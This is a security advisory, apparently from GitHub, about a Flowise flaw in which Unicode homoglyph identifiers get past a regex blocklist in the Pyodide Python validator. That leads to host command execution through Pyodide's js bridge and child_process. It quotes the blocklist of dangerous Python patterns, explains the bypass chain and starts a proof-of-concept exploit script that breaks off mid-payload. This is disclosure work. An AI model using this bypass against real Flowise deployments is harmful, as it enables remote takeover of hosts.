Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

### Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). ### Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist: ```ts { pattern: /\bimport\b/g, ... }, { pattern: /\b__class__\b/g, ... }, { pattern: /\b__subclasses__\s*\(/g, ... }, { pattern: /\b__builtins__\b/g, ... }, { pattern: /\b__mro__\b/g, ... }, // ... about 30 similar rules ``` Two design flaws combine into a bypass: 1. JavaScript regex `\b` is ASCII-only. Word boundaries are computed against the ASCII word class `[A-Za-z0-9_]`. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so `\b__class__\b` never matches `__cl𝐚ss__`. 2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. `__cl𝐚ss__`, `__subcl𝐚sses__`, `__b𝐚se__`, `__b𝐮iltins__`, and similar homoglyph forms are all parsed as their ASCII equivalents. Attribute access `obj.__cl𝐚ss__` is normalized because attribute names are identifiers. Dict string keys such as `bi['__import__']` are not normalized, but they are free text and can be assembled with `chr()` to avoid literal matches on patterns like `\bimport\b` or `\b__import__\s*\(/`. From inside Pyodide, `__builtins__['__import__']('js')` yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes `process.mainModule.require('child_process').execSync`, which runs native commands on the host with the privileges of the Flowise process. Affected call sites: - packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates `customReadCSV` (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated `pythonCode` before it reaches `pyodide.runPythonAsync(code)` on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated `pythonCode` before `pyodide.runPythonAsync` on line 197. The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2. ### PoC Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious `pythonCode` to the real validator, confirms the validator returns `valid: true`, then runs the same string through Pyodide and prints the output of a native command executed on the host: ```js // npm install pyodide const { loadPyodide } = require('pyodide') const FORBIDDEN_PATTERNS = [ { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g }, { pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g }, { pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g }, { pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g }, { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g }, { pattern: /\bsys\./g }, { pattern: /\bsocket\./g }, { pattern: /\burllib\./g }, { pattern: /\brequests\./g }, { pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g }, { pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g }, { pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g }, { pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g }, ] const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) }) const payload = ` cls = ().__cl\u{1D41A}ss__ base = cls.__b\u{1D41A}

CVSS 4.0

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-184

Also known as

CVE-2026-70470

• github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2
• github.com/FlowiseAI/Flowise/pull/6499
• github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c
• github.com/FlowiseAI/Flowise
• github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3